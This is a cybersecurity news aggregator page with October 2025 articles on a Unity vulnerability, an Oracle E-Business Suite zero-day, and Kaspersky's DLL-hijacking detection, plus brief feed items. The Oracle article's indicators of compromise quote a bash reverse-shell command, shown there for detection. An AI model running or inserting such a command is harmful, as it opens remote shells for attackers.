Oktacron logo
Cyber security aggregate rss news

Cyber security aggregator - feeds history
image for Unity Warns Develope ...

 Firewall Daily

A recently disclosed security vulnerability in Unity has prompted security updates and, in some cases, game removals across platforms like Steam. The issue affects Unity versions 2017.1 and later, spanning a wide range of games and applications released over the last several years. According to Unity, this Unity   show more ...  

vulnerability impacts software built for Android, Windows, macOS, and Linux, and immediate action is recommended for developers to secure their projects.  The Unity vulnerability, which has been assigned a “High” severity rating in the Common Vulnerabilities and Exposures (CVE) system, was responsibly reported by a security researcher known as RyotaK. Unity's Director of Community and Advocacy, Larry Hryb, confirmed that there is no current evidence of exploitation, nor have there been any reports of harm to users or data breaches.  “We have proactively provided fixes that address vulnerability, and they are already available to all developers,” said Hryb in an official statement posted on October 3.  The affected Unity versions include any editor release from 2017.1 onward. Given the platform’s extensive use across the gaming and application development ecosystem, especially on Android, Windows, and Linux, the scope of affected titles is significant. Developers have been urged to update their games using Unity’s latest patched releases or employ the newly released binary patcher tool provided by the company.  Game Studios Respond to the Unity Vulnerability  The gaming industry has already begun reacting. As reported by VGC, Obsidian Entertainment has temporarily pulled several of its titles, including Pentiment, Avowed, and Grounded 2, from online platforms as a precaution.   Other studios have opted to push emergency updates, particularly for live games still in development or frequently updated. Unity has provided specific guidance for various development scenarios:  Developers should download the patched Unity Editor version through Unity Hub or the Unity Download Archive before building or publishing.  Developers are advised to recompile using the patched Editor. If recompiling is not feasible, Unity's patching tool can be applied to already-built applications.  However, Unity also warns that developers using tamper-proofing or anti-cheat mechanisms must rebuild their projects from source, as patching may conflict with these security features.  Platform-Specific Risk and Protections  While the Unity vulnerability affects all major desktop and mobile operating systems, its risk level varies. On Linux, the threat is considered lower than on Android or Windows. Still, Unity recommends all developers apply the patch regardless of perceived platform risk.  To bolster defense, several major tech firms have stepped in:  Google: Android’s built-in malware scanning features will offer additional protection for users, though Unity emphasizes that these measures do not replace the need for patching.  Microsoft: Defender has been updated to detect and block the Unity vulnerability on Windows.  Valve: Has committed to implementing further safeguards within the Steam client.  Meta: Implemented mitigations for apps running on Horizon OS to prevent exploitation.  Unity stated that platforms like iOS, Xbox, PlayStation, Nintendo Switch, and WebGL have shown no signs of being vulnerable. Nevertheless, developers targeting multiple platforms are encouraged to use the latest Unity version even on unaffected systems for consistency and safety.  Guidance for Developers and Users  Unity strongly advises developers to update, recompile, or patch their applications to minimize potential risks. For consumers, the recommendation is to enable automatic updates, use current antivirus software, and avoid downloading apps or games from untrusted sources.  Users of affected games and apps are not currently at risk, according to Unity. There have been no confirmed exploits or breaches, and the company, along with its partners, has acted quickly to limit any exposure.  To prevent similar issues in the future, Unity has pledged to enhance its Secure Software Development Lifecycle (SSDLC) by adopting new tools, penetration testing processes, and stricter internal guidelines. The company also maintains a Bug Bounty program through Bugcrowd, encouraging researchers to report any vulnerabilities responsibly.  For developers with specific questions or needs, Unity has opened discussions in the CVE Q&A forums, where technical documentation, remediation guides, and patching tools are available. 

image for Critical Zero-Day in ...

 Firewall Daily

Oracle has issued a security alert warning users of a zero-day vulnerability in its widely used Oracle E-Business Suite. Tracked as CVE-2025-61882, this flaw allows unauthenticated, remote attackers to execute arbitrary code on affected systems. The vulnerability carries a CVSS v3.1 base score of 9.8, making it one of   show more ...  

the most critical threats to the platform to date.  What CVE-2025-61882 Targets  According to Oracle’s advisory, CVE-2025-61882 resides in the Concurrent Processing component of the E-Business Suite, specifically within the BI Publisher Integration. Exploitable via HTTP, the flaw does not require user credentials or interaction and can be executed over a network.  The risk matrix published with the alert shows that the attack vector is "Network," with low complexity and no privileges needed. Successful exploitation results in a high impact on confidentiality, integrity, and availability. Oracle categorically states:  “This vulnerability is remotely exploitable without authentication… If successfully exploited, it may result in remote code execution.”  The vulnerability affects Oracle E-Business Suite versions 12.2.3 through 12.2.14. Oracle strongly urges all customers to apply the necessary security updates without delay.  Affected Versions, Patch Requirements, and Support Limitations  Before installing the patch that addresses CVE-2025-61882, users must ensure their systems have already applied the October 2023 Critical Patch Update (CPU). This earlier update is a prerequisite for applying the current fixes released in the October 2025 alert.  Oracle notes that only versions under Premier Support or Extended Support, as defined by its Lifetime Support Policy, will receive patches. Systems running out-of-support versions are not tested against this vulnerability and remain at risk, even if technically vulnerable.  The company’s guidance stresses:  “Oracle recommends that customers plan product upgrades to ensure that patches released through the Security Alert program are available for the versions they are currently running.”  Affected product and patch information is available through Oracle’s Patch Availability Document, which provides step-by-step installation instructions tailored to each supported version.  Detection, Indicators of Compromise, and Immediate Mitigation Steps  Oracle has included a comprehensive set of Indicators of Compromise (IOCs) to help organizations detect and respond to potential attacks involving CVE-2025-61882. The list includes suspicious IP addresses, observed shell commands, and SHA‑256 hashes of known exploit files.  Key Indicators of Compromise:  Suspicious IPs:  200[.]107[.]207[.]26  185[.]181[.]60[.]11  Malicious Command:  sh -c /bin/bash -i >& /dev/tcp// 0>&1  Associated File Hashes and Exploit Samples:  oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip  exp.py, server.py – each with associated SHA-256 hashes.  Additionally, a public detection method is now available on GitHub. This tool identifies outdated E-Business Suite instances by checking if the HTTP response contains the string “E-Business Suite Home Page” and if the Last-Modified header shows a timestamp before October 4, 2025 (Unix timestamp 1759602752). The method is strictly for defensive use and not designed as an exploit.  Oracle also reminds administrators that the protocol listing in the risk matrix (HTTP) implies all secure variants (such as HTTPS) are affected as well. For users, it is advised to update to supported versions, apply the October 2023 CPU if not already done, and immediately install the October 2025 patch. Meanwhile, monitoring systems for the listed IOCs can help detect and contain potential exploitation attempts already underway. 

image for Detecting DLL hijack ...

 Business

To evade detection by security solutions, cybercriminals employ various techniques that mask their malicious activity. One of the methods increasingly seen in recent years in attacks on Windows systems is DLL hijacking: replacing dynamic-link libraries (DLLs) with malicious ones. And traditional security tools often   show more ...  

don’t detect use of this technique. To solve this problem, our colleagues from the Kaspersky AI Technology Research Center developed a machine-learning model that can detect DLL hijacking with high accuracy. This model has already been implemented in the latest release of our SIEM system, the Kaspersky Unified Monitoring and Analysis Platform . In this post, we explain the challenges of detecting DLL hijacking, and how our technology addresses them. How DLL hijacking works and why it’s hard to detect The sudden launch of an unknown file in a Windows environment inevitably draws the attention of security tools — or is simply blocked. Essentially, DLL hijacking is an attempt to pass off a malicious file as a known and trusted one. There are several variations of DLL hijacking: one is when attackers distribute a malicious library along with legitimate software (DLL sideloading) so that the software executes it; another is when they replace standard DLLs that are called by already-installed programs on the computer; and there’s also when they manipulate system mechanisms that determine the location of the library that a process loads and executes. As a result, the malicious DLL file is launched by a legitimate process within its own address space and with its own privileges; thus the usual endpoint protection systems view this activity as looking legitimate. That’s why our experts decided to counter this threat with the use of AI technologies. Detecting DLL hijacking with ML AI Technology Research Center experts trained an ML model to detect DLL hijacking based on indirect information about the library and the process that called it. They identified key indicators of an attempt to manipulate a library: whether the executable file and the library are located in standard paths, whether the file was renamed, whether the library’s size and structure have changed, whether its digital signature is intact, and so on. They initially trained the model on data about dynamic link libraries’ being loaded — sourced from both internal automatic analysis systems and anonymized telemetry from the Kaspersky Security Network (KSN) voluntarily provided by our users. For labeling, our experts used data from our file reputation databases. The first model was rather inaccurate, so before adding it to the solution our experts experimented through multiple iterations, refining both the labeling of the training dataset and the features that indicate DLL hijacking. As a result, the model now detects this technique with high accuracy. On Securelist, our colleagues published a detailed article about how they developed this technology — from the initial hypothesis, through testing in Kaspersky Managed Detection and Response, and finally to the practical application in our SIEM platform. DLL hijacking detection in Kaspersky SIEM In the SIEM system, the model analyzes the metadata of loaded DLLs and processes that called them from the telemetry, flags suspicious cases, and then cross-checks its verdict against KSN cloud data. This not only improves the accuracy of DLL hijacking detection, but also reduces false positives. The model can operate in both the correlation subsystem and the event collection subsystem. In the first case, it checks only the events that have already triggered correlation rules. This allows for a more precise threat assessment and faster alert generation if needed. Since not all events are checked, the volume of cloud queries doesn’t significantly impact the model’s response speed. In the second case, the model processes all library loading events that meet certain conditions. This method consumes more resources but is invaluable for retrospective threat hunting. In another Securelist blog post, colleagues from the Anti-Malware Research group described in detail how the DLL hijacking detection model helps Kaspersky SIEM catch targeted attacks, with real examples of early incident detection. Most importantly, the model’s accuracy will only continue to improve as more data on threats and legitimate processes accumulates and KSN algorithms evolve.

 Feed

Oracle has released an emergency update to address a critical security flaw in its E-Business Suite that it said has been exploited in the recent wave of Cl0p data theft attacks. The vulnerability, tracked as CVE-2025-61882 (CVSS score: 9.8), concerns an unspecified bug that could allow an unauthenticated attacker with network access via HTTP to compromise and take control of the Oracle

 Feed

A now patched security vulnerability in Zimbra Collaboration was exploited as a zero-day earlier this year in cyber attacks targeting the Brazilian military. Tracked as CVE-2025-27915 (CVSS score: 5.4), the vulnerability is a stored cross-site scripting (XSS) vulnerability in the Classic Web Client that arises as a result of insufficient sanitization of HTML content in ICS calendar files,

 Feed

The cyber world never hits pause, and staying alert matters more than ever. Every week brings new tricks, smarter attacks, and fresh lessons from the field. This recap cuts through the noise to share what really matters—key trends, warning signs, and stories shaping today’s security landscape. Whether you’re defending systems or just keeping up, these highlights help you spot what’s coming

 Feed

In the era of rapidly advancing artificial intelligence (AI) and cloud technologies, organizations are increasingly implementing security measures to protect sensitive data and ensure regulatory compliance. Among these measures, AI-SPM (AI Security Posture Management) solutions have gained traction to secure AI pipelines, sensitive data assets, and the overall AI ecosystem. These solutions help

 Feed

Cybersecurity researchers have shed light on a Chinese-speaking cybercrime group codenamed UAT-8099 that has been attributed to search engine optimization (SEO) fraud and theft of high-value credentials, configuration files, and certificate data.  The attacks are designed to target Microsoft Internet Information Services (IIS) servers, with most of the infections reported in India, Thailand

 Feed

A Chinese company named the Beijing Institute of Electronics Technology and Application (BIETA) has been assessed to be likely led by the Ministry of State Security (MSS). The assessment comes from evidence that at least four BIETA personnel have clear or possible links to MSS officers and their relationship with the University of International Relations, which is known to share links with the

2025-10
Aggregator history
Monday, October 06
WED
THU
FRI
SAT
SUN
MON
TUE
OctoberNovember